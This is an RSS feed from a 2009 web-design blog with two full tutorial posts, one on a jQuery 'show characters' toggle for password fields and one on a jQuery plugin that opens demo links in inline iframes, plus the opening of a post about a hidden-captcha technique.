















































<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>VileWorks</title>
	<atom:link href="http://www.vileworks.com/feed" rel="self" type="application/rss+xml" />
	<link>http://www.vileworks.com</link>
	<description>Web design &#38; development work of Stefan Matei</description>
	<lastBuildDate>Sun, 07 Feb 2010 17:14:46 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=abc</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Password (un)Masking</title>
		<link>http://www.vileworks.com/password-unmasking</link>
		<comments>http://www.vileworks.com/password-unmasking#comments</comments>
		<pubDate>Wed, 30 Sep 2009 12:00:01 +0000</pubDate>
		<dc:creator>Stefan</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[jquery]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[usability]]></category>
		<category><![CDATA[web design]]></category>
		<category><![CDATA[web development]]></category>

		<guid isPermaLink="false">http://www.vileworks.com/?p=409</guid>
		<description><![CDATA[

Windows Vista has a nice option labeled Show characters right below password input fields:

And Useit.com recommends it: It&#8217;s time to show most passwords in clear text as users type them. So without further ado, here&#8217;s what it looks like on the web: unmasking the password field
This is the HTML code from the example:


&#60;form&#62;
	&#60;label&#62;
		Password:
		&#60;input id=&#34;password&#34; name=&#34;password&#34; type=&#34;password&#34; [...]]]></description>
			<content:encoded><![CDATA[

<p>Windows Vista has a nice option labeled <q>Show characters</q> right below password input fields:</p>
<div id="attachment_511" class="wp-caption alignnone" style="width: 399px"><img class="size-full wp-image-511" title="show-password-windows-vista" src="http://www.vileworks.com/wp-content/uploads/2009/09/show-password-windows-vista.jpg" alt="Windows Vista &quot;Show characters&quot; checkbox under a password field" width="389" height="306" /><p class="wp-caption-text">Windows Vista &quot;Show characters&quot; checkbox under a password field</p></div>
<p>And Useit.com <a href="http://www.useit.com/alertbox/passwords.html">recommends it</a>: <q>It&#8217;s time to show most passwords in clear text as users type them.</q> So without further ado,<strong> here&#8217;s what it looks like on the web</strong>: <a class="inframe highlighted" rel="height:80px" href="http://www.vileworks.com/projects/unmask_password.html">unmasking the password field</a></p>
<p>This is the HTML code from the example:</p>
<p><span id="more-409"></span></p>

<div class="wp_syntax"><div class="code"><pre class="html4strict" style="font-family:monospace;"><span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">form</span>&gt;</span>
	<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">label</span>&gt;</span>
		Password:
		<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">input</span> <span style="color: #000066;">id</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;password&quot;</span> <span style="color: #000066;">name</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;password&quot;</span> <span style="color: #000066;">type</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;password&quot;</span> <span style="color: #66cc66;">/</span>&gt;</span>
	<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">label</span>&gt;</span>
&nbsp;
	<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">label</span>&gt;</span>
		<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">input</span> <span style="color: #000066;">id</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;showcharacters&quot;</span> <span style="color: #000066;">name</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;showcharacters&quot;</span> <span style="color: #000066;">type</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;checkbox&quot;</span> <span style="color: #66cc66;">/</span>&gt;</span> Show characters
	<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">label</span>&gt;</span>
<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">form</span>&gt;</span></pre></div></div>

<p>And this is the JavaScript jQuery that toggles the masking and unmasking of the password field:</p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;">$<span style="color: #009900;">&#40;</span>document<span style="color: #009900;">&#41;</span>.<span style="color: #660066;">ready</span><span style="color: #009900;">&#40;</span><span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
&nbsp;
	$<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'#showcharacters'</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">click</span><span style="color: #009900;">&#40;</span><span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span>$<span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">this</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">attr</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'checked'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
			$<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'#password'</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">replaceWith</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'
&lt;input id=&quot;password&quot; name=&quot;password&quot; type=&quot;text&quot; value=&quot;'</span> <span style="color: #339933;">+</span> $<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'#password'</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">attr</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'value'</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> <span style="color: #3366CC;">'&quot; /&gt;'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #009900;">&#125;</span> <span style="color: #000066; font-weight: bold;">else</span> <span style="color: #009900;">&#123;</span>
			$<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'#password'</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">replaceWith</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'
&lt;input id=&quot;password&quot; name=&quot;password&quot; type=&quot;password&quot; value=&quot;'</span> <span style="color: #339933;">+</span> $<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'#password'</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">attr</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'value'</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> <span style="color: #3366CC;">'&quot; /&gt;'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #009900;">&#125;</span>
	<span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p>I personally think this is better than the iPhone method of showing only the last typed character, because well&#8230; when using a real keyboard I type my passwords faster than I&#8217;d be able to read them letter by letter. Which means I type really fast or read really slow.</p>
<p>Either way this would be a better solution to having to type a password two times in order to confirm it.</p>


<!-- Begin SexyBookmarks Menu Code -->
<div class="sexy-bookmarks sexy-bookmarks-expand sexy-bookmarks-bg-enjoy">
<ul class="socials">
		<li class="sexy-twitter">
			<a href="http://twitter.com/home?status=Password+%28un%29Masking+-+http://b2l.me/bwqpj+(via+@nonsalant)" rel="nofollow" title="Tweet This!">Tweet This!</a>
		</li>
		<li class="sexy-facebook">
			<a href="http://www.facebook.com/share.php?v=4&amp;src=bm&amp;u=http://www.vileworks.com/password-unmasking&amp;t=Password+%28un%29Masking" rel="nofollow" title="Share this on Facebook">Share this on Facebook</a>
		</li>
		<li class="sexy-delicious">
			<a href="http://del.icio.us/post?url=http://www.vileworks.com/password-unmasking&amp;title=Password+%28un%29Masking" rel="nofollow" title="Share this on del.icio.us">Share this on del.icio.us</a>
		</li>
</ul>
<div style="clear:both;"></div>
</div>
<!-- End SexyBookmarks Menu Code -->

<a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.vileworks.com%2Fpassword-unmasking&amp;linkname=Password%20%28un%29Masking"><img src="http://www.vileworks.com/wp-content/plugins/add-to-any/share_save_171_16.gif" width="171" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.vileworks.com/password-unmasking/feed</wfw:commentRss>
		<slash:comments>19</slash:comments>
		</item>
		<item>
		<title>inFrame: Keep Demos Inside the Page with jQuery</title>
		<link>http://www.vileworks.com/inframe-keep-the-demos-inside-the-page-with-jquery</link>
		<comments>http://www.vileworks.com/inframe-keep-the-demos-inside-the-page-with-jquery#comments</comments>
		<pubDate>Thu, 17 Sep 2009 21:15:19 +0000</pubDate>
		<dc:creator>Stefan</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[freebies]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[jquery]]></category>
		<category><![CDATA[web design]]></category>
		<category><![CDATA[web development]]></category>

		<guid isPermaLink="false">http://www.vileworks.com/?p=294</guid>
		<description><![CDATA[




Say I had some CSS or JavaScript techniques/effects I wanted to show in a blog post.
Obviously it would have been uncomfortable for me to actually include the thing in the post (CSS needs to be in the head, JavaScript may conflict with other JavaScript, etc), so the best option would have been to just link [...]]]></description>
			<content:encoded><![CDATA[




<p>Say I had some CSS or JavaScript techniques/effects I wanted to show in a blog post.</p>
<p>Obviously it would have been uncomfortable for me to actually include the thing in the post (CSS needs to be in the <code>head</code>, JavaScript may conflict with other JavaScript, etc), so the best option would have been to just link to the file demonstrating the effect.</p>
<p>Using <strong>inFrame</strong> the reader doesn&#8217;t have to go away from the blog post to view demo files&#8230; just add a class of <code>inframe</code> to each of these links.</p>
<h3>Try it out: Click on the links to view/hide</h3>
<p>Some random example from A List Apart: &#8220;CSS Sprites2&#8243;: <a class="inframe highlighted" rel="height:300px" href="http://www.alistapart.com/d/sprites2/examples/example6-function.html">regular link to the file</a></p>
<p>Slick animation menu (from <a href="http://nettuts.com/tutorials/javascript-ajax/create-a-cool-animated-navigation-with-css-and-jquery/">nettuts</a>): <a class="inframe highlighted" rel="height:600px" href="http://nettuts.s3.amazonaws.com/009_jQueryMenu/sm/result/index.html">regular link to the file</a></p>
<p>Smooth Gallery, a mootools gallery: <a class="inframe highlighted" href="http://vileworks.com/projects/gallery_backend/">regular link to the file</a></p>
<h3>The jQuery JavaScript</h3>
<p>Of course, you have to include jQuery if you&#8217;re not using it already in the page.<span id="more-294"></span></p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;">$<span style="color: #009900;">&#40;</span>document<span style="color: #009900;">&#41;</span>.<span style="color: #660066;">ready</span><span style="color: #009900;">&#40;</span><span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	<span style="color: #006600; font-style: italic;">/*
		inFrame - Keep Demos Inside the Page with jQuery
		- affects all the links with a class of 'inframe'
		- set a rel attribute like rel=&quot;height:400px&quot; on the link for a 400px high iframe
		- if you don't set a height, default is 550px
	*/</span>
	$<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'a.inframe'</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">click</span><span style="color: #009900;">&#40;</span><span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #003366; font-weight: bold;">var</span> e<span style="color: #339933;">=</span>$<span style="color: #009900;">&#40;</span><span style="color: #000066; font-weight: bold;">this</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
		<span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span>e.<span style="color: #660066;">data</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'state'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>	<span style="color: #006600; font-style: italic;">//if state is undefined</span>
&nbsp;
			e.<span style="color: #660066;">data</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'state'</span><span style="color: #339933;">,</span><span style="color: #3366CC;">'open'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #006600; font-style: italic;">//set the state to 'open'</span>
&nbsp;
			<span style="color: #006600; font-style: italic;">// Extract the frame height from the rel attribute</span>
			<span style="color: #003366; font-weight: bold;">var</span> frameHeight<span style="color: #339933;">=</span>e.<span style="color: #660066;">attr</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'rel'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
			<span style="color: #003366; font-weight: bold;">var</span> pat1 <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">new</span> RegExp<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'height:'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
			pat1.<span style="color: #660066;">test</span><span style="color: #009900;">&#40;</span>frameHeight<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
			frameHeight<span style="color: #339933;">=</span>RegExp.<span style="color: #660066;">rightContext</span><span style="color: #339933;">;</span>
			<span style="color: #003366; font-weight: bold;">var</span> pat2 <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">new</span> RegExp<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'px'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
			pat2.<span style="color: #660066;">test</span><span style="color: #009900;">&#40;</span>frameHeight<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
			frameHeight <span style="color: #339933;">=</span> RegExp.<span style="color: #660066;">leftContext</span><span style="color: #339933;">;</span>
			<span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span> <span style="color: #339933;">!</span>frameHeight <span style="color: #339933;">||</span> <span style="color: #009900;">&#40;</span>Math.<span style="color: #660066;">ceil</span><span style="color: #009900;">&#40;</span>frameHeight<span style="color: #009900;">&#41;</span><span style="color: #339933;">!=</span>Math.<span style="color: #660066;">floor</span><span style="color: #009900;">&#40;</span>frameHeight<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
				<span style="color: #006600; font-style: italic;">//if it's null or not an integer</span>
				frameHeight <span style="color: #339933;">=</span> <span style="color: #3366CC;">'550'</span><span style="color: #339933;">;</span> <span style="color: #006600; font-style: italic;">//default frame height, in case none is specified</span>
			<span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
			frameHeight <span style="color: #339933;">+=</span> <span style="color: #3366CC;">'px'</span><span style="color: #339933;">;</span>
&nbsp;
			frameWidth <span style="color: #339933;">=</span> <span style="color: #3366CC;">'100%'</span><span style="color: #339933;">;</span>
&nbsp;
			<span style="color: #006600; font-style: italic;">// Insert the iframe just after the link</span>
			e.<span style="color: #660066;">after</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'&lt;iframe style=&quot;width:'</span><span style="color: #339933;">+</span>frameWidth<span style="color: #339933;">+</span><span style="color: #3366CC;">'; height:'</span><span style="color: #339933;">+</span>frameHeight<span style="color: #339933;">+</span><span style="color: #3366CC;">'; border:solid 1px #ccc; margin-bottom:1em; background:#fff;&quot; src='</span> <span style="color: #339933;">+</span> e.<span style="color: #660066;">attr</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'href'</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> <span style="color: #3366CC;">' frameborder=&quot;0&quot; &gt;&lt;/iframe&gt;'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
			<span style="color: #003366; font-weight: bold;">var</span> iframe<span style="color: #339933;">=</span>e.<span style="color: #660066;">next</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'iframe'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
			<span style="color: #006600; font-style: italic;">// Insert the &quot;loading...&quot; text</span>
			iframe.<span style="color: #660066;">before</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">' &lt;small class=&quot;quiet&quot;&gt; Loading...&lt;/small&gt;'</span><span style="color: #009900;">&#41;</span>
			iframe.<span style="color: #660066;">load</span><span style="color: #009900;">&#40;</span><span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>	<span style="color: #006600; font-style: italic;">//once content was loaded</span>
				iframe.<span style="color: #660066;">slideDown</span><span style="color: #009900;">&#40;</span><span style="color: #CC0000;">500</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>	<span style="color: #006600; font-style: italic;">//slide it down</span>
				iframe.<span style="color: #660066;">prev</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'small'</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">remove</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>	<span style="color: #006600; font-style: italic;">//remove the 'loading...'</span>
			<span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
			e.<span style="color: #660066;">attr</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'title'</span><span style="color: #339933;">,</span><span style="color: #3366CC;">'Hide'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>	<span style="color: #006600; font-style: italic;">//set the link title to 'Hide'</span>
		<span style="color: #009900;">&#125;</span>
		<span style="color: #000066; font-weight: bold;">else</span> <span style="color: #000066; font-weight: bold;">if</span><span style="color: #009900;">&#40;</span>e.<span style="color: #660066;">data</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'state'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">==</span><span style="color: #3366CC;">'closed'</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> <span style="color: #006600; font-style: italic;">//if state is 'closed'</span>
			e.<span style="color: #660066;">data</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'state'</span><span style="color: #339933;">,</span> <span style="color: #3366CC;">'open'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
			e.<span style="color: #660066;">next</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'iframe'</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">slideDown</span><span style="color: #009900;">&#40;</span><span style="color: #CC0000;">500</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
			e.<span style="color: #660066;">attr</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'title'</span><span style="color: #339933;">,</span><span style="color: #3366CC;">'Hide'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #009900;">&#125;</span>
		<span style="color: #000066; font-weight: bold;">else</span> <span style="color: #000066; font-weight: bold;">if</span><span style="color: #009900;">&#40;</span>e.<span style="color: #660066;">data</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'state'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">==</span><span style="color: #3366CC;">'open'</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> <span style="color: #006600; font-style: italic;">//if state is 'open'</span>
			e.<span style="color: #660066;">data</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'state'</span><span style="color: #339933;">,</span> <span style="color: #3366CC;">'closed'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
			e.<span style="color: #660066;">next</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'iframe'</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">slideUp</span><span style="color: #009900;">&#40;</span><span style="color: #CC0000;">500</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
			e.<span style="color: #660066;">attr</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'title'</span><span style="color: #339933;">,</span><span style="color: #3366CC;">'Show'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #009900;">&#125;</span>
		<span style="color: #000066; font-weight: bold;">return</span> <span style="color: #003366; font-weight: bold;">false</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<div class="notice">
<h3>Update: Need styles?</h3>
<p>These are the CSS styles I&#8217;m using (some of witch CSS3):</p>

<div class="wp_syntax"><div class="code"><pre class="css" style="font-family:monospace;">iframe<span style="color: #6666ff;">.inframe</span> <span style="color: #00AA00;">&#123;</span>
	box-shadow<span style="color: #00AA00;">:</span> <span style="color: #933;">1px</span> <span style="color: #933;">1px</span> <span style="color: #933;">6px</span> <span style="color: #cc00cc;">#ccc</span><span style="color: #00AA00;">;</span>
	-moz-box-shadow<span style="color: #00AA00;">:</span> <span style="color: #933;">1px</span> <span style="color: #933;">1px</span> <span style="color: #933;">6px</span> <span style="color: #cc00cc;">#ccc</span><span style="color: #00AA00;">;</span>
	-webkit-box-shadow<span style="color: #00AA00;">:</span> <span style="color: #933;">1px</span> <span style="color: #933;">1px</span> <span style="color: #933;">6px</span> <span style="color: #cc00cc;">#ccc</span><span style="color: #00AA00;">;</span>
	<span style="color: #000000; font-weight: bold;">padding</span><span style="color: #00AA00;">:</span><span style="color: #933;">5px</span><span style="color: #00AA00;">;</span>
	<span style="color: #000000; font-weight: bold;">margin-right</span><span style="color: #00AA00;">:</span><span style="color: #933;">-10px</span><span style="color: #00AA00;">;</span>
	bakground<span style="color: #00AA00;">:</span><span style="color: #cc00cc;">#fff</span><span style="color: #00AA00;">;</span>
	-moz-border-radius-bottomright<span style="color: #00AA00;">:</span> <span style="color: #933;">10px</span><span style="color: #00AA00;">;</span>
	-moz-border-radius-bottomleft<span style="color: #00AA00;">:</span> <span style="color: #933;">10px</span><span style="color: #00AA00;">;</span>
	-webkit-border-bottom-right-radius<span style="color: #00AA00;">:</span> <span style="color: #933;">10px</span><span style="color: #00AA00;">;</span>
	-webkit-border-bottom-left-radius<span style="color: #00AA00;">:</span> <span style="color: #933;">10px</span><span style="color: #00AA00;">;</span>
<span style="color: #00AA00;">&#125;</span></pre></div></div>

<p>Paste them in your style sheet to apply the same effect you see on this page.</p>
</div>
<h3>How to Use it</h3>
<p>Include jQuery and the inFrame script above.</p>
<p>Add a class of <code>inframe</code> to all the links you wish to apply it to. Like this:</p>

<div class="wp_syntax"><div class="code"><pre class="html4strict" style="font-family:monospace;"><span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">a</span> <span style="color: #000066;">class</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;inframe&quot;</span> <span style="color: #000066;">href</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;http://vileworks.com&quot;</span>&gt;</span>VileWorks<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">a</span>&gt;</span></pre></div></div>

<p>The default height is 550px, but if you want to specify it for a link, you can do so using the <code>rel</code> attribute:</p>

<div class="wp_syntax"><div class="code"><pre class="html4strict" style="font-family:monospace;"><span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">a</span> <span style="color: #000066;">class</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;inframe&quot;</span> <span style="color: #000066;">rel</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;height:300px&quot;</span> <span style="color: #000066;">href</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;http://vileworks.com&quot;</span>&gt;</span>VileWorks<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">a</span>&gt;</span></pre></div></div>

<p>Please note that there&#8217;s no space between &#8220;height&#8221; and &#8220;300px&#8221; and you can&#8217;t specify the height in ems or in percents.</p>
<p>If you already have other rel attributes you want to use, like <code>nofollow</code> or <code>external</code>, you can include those too.</p>

<div class="wp_syntax"><div class="code"><pre class="html4strict" style="font-family:monospace;"><span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">a</span> <span style="color: #000066;">class</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;inframe&quot;</span> <span style="color: #000066;">rel</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;nofollow height:300px&quot;</span> <span style="color: #000066;">href</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;http://vileworks.com&quot;</span>&gt;</span>Vile<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">a</span>&gt;</span></pre></div></div>

<h3>Features</h3>
<ul>
<li>Tested in IE6, IE7, Firefox 3, Safari 3, Google Chrome, Opera on a PC. And Safari on iPhone.</li>
<li>Degrades gracefully (to regular links) when JavaScript is turned off.</li>
<li>SEO friendly with the files you link to.</li>
</ul>
<p>Even though they&#8217;re iframes which are usually <strong>very bad</strong> for findability, usability, accessibility and other words ending in &#8216;-bility&#8217;, they&#8217;re not bad in this case because the links are still there, with their hrefs and everything looking all natural &#8212; so search engines that crawl your site and people with no javascript won&#8217;t feel any difference.</p>
<h3>Goofy useless stuff</h3>
<div class="wp-caption alignnone" style="width:510px;"><a href="http://www.flickr.com/photos/torley/2361164281/" title="Infinity"><img src="http://farm3.static.flickr.com/2041/2361164281_cea03b0faa.jpg" alt="Infinity" ></a></p>
<p class="wp-caption-text">Trippy.</p>
</div>
<p><a name="stupid" id="stupid"></a></p>
<p>Like the link below&#8230; that&#8217;s a link to this very same page. Open it, and you&#8217;ll find it again inside. And open it in there again. See how far you can go before you get lost in the scroll bars or crash your browser!</p>
<p><span style="width:100%; text-align:center; display:block;"> <a class="inframe highlighted" rel="height:600px nofollow" href="http://www.vileworks.com/inframe-keep-the-demos-inside-the-page-with-jquery?1481952033#stupid" >link to this page</a></span></p>
<p>Fascinating.</p>


<!-- Begin SexyBookmarks Menu Code -->
<div class="sexy-bookmarks sexy-bookmarks-expand sexy-bookmarks-bg-enjoy">
<ul class="socials">
		<li class="sexy-twitter">
			<a href="http://twitter.com/home?status=inFrame%3A+Keep+Demos+Inside+the+Page+with+jQuery+-+http://b2l.me/bwnst+(via+@nonsalant)" rel="nofollow" title="Tweet This!">Tweet This!</a>
		</li>
		<li class="sexy-facebook">
			<a href="http://www.facebook.com/share.php?v=4&amp;src=bm&amp;u=http://www.vileworks.com/inframe-keep-the-demos-inside-the-page-with-jquery&amp;t=inFrame%3A+Keep+Demos+Inside+the+Page+with+jQuery" rel="nofollow" title="Share this on Facebook">Share this on Facebook</a>
		</li>
		<li class="sexy-delicious">
			<a href="http://del.icio.us/post?url=http://www.vileworks.com/inframe-keep-the-demos-inside-the-page-with-jquery&amp;title=inFrame%3A+Keep+Demos+Inside+the+Page+with+jQuery" rel="nofollow" title="Share this on del.icio.us">Share this on del.icio.us</a>
		</li>
</ul>
<div style="clear:both;"></div>
</div>
<!-- End SexyBookmarks Menu Code -->

<a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.vileworks.com%2Finframe-keep-the-demos-inside-the-page-with-jquery&amp;linkname=inFrame%3A%20Keep%20Demos%20Inside%20the%20Page%20with%20jQuery"><img src="http://www.vileworks.com/wp-content/plugins/add-to-any/share_save_171_16.gif" width="171" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.vileworks.com/inframe-keep-the-demos-inside-the-page-with-jquery/feed</wfw:commentRss>
		<slash:comments>20</slash:comments>
		</item>
		<item>
		<title>PHP Screencast: Hidden Captcha</title>
		<link>http://www.vileworks.com/php-screencast-hidden-captcha</link>
		<comments>http://www.vileworks.com/php-screencast-hidden-captcha#comments</comments>
		<pubDate>Mon, 07 Sep 2009 12:12:10 +0000</pubDate>
		<dc:creator>Stefan</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[screencast]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[tutorial]]></category>
		<category><![CDATA[usability]]></category>
		<category><![CDATA[web development]]></category>

		<guid isPermaLink="false">http://www.vileworks.com/?p=385</guid>
		<description><![CDATA[

As I was saying in a past&#8211;not so documented&#8211;article, this is how the Hidden Captcha concept works:
Does the user have JavaScript enabled?
If yes, they&#8217;re okay &#8212; let&#8217;em comment, no annoying captcha required.
No? We&#8217;ve got a suspect. Read them their rights and serve them the ultimate “are you human?” test.

I made this 5 minute screencast to [...]]]></description>
			<content:encoded><![CDATA[

<p>As I was saying in a past&#8211;not so documented&#8211;article, this is how the <em>Hidden Captcha</em> concept works:</p>
<blockquote><p>Does the user have JavaScript enabled?<br />
If yes, they&#8217;re okay &#8212; let&#8217;em comment, no annoying captcha required.<br />
No? We&#8217;ve got a suspect. Read them their rights and serve them the ultimate “are you human?” test.</p>
</blockquote>
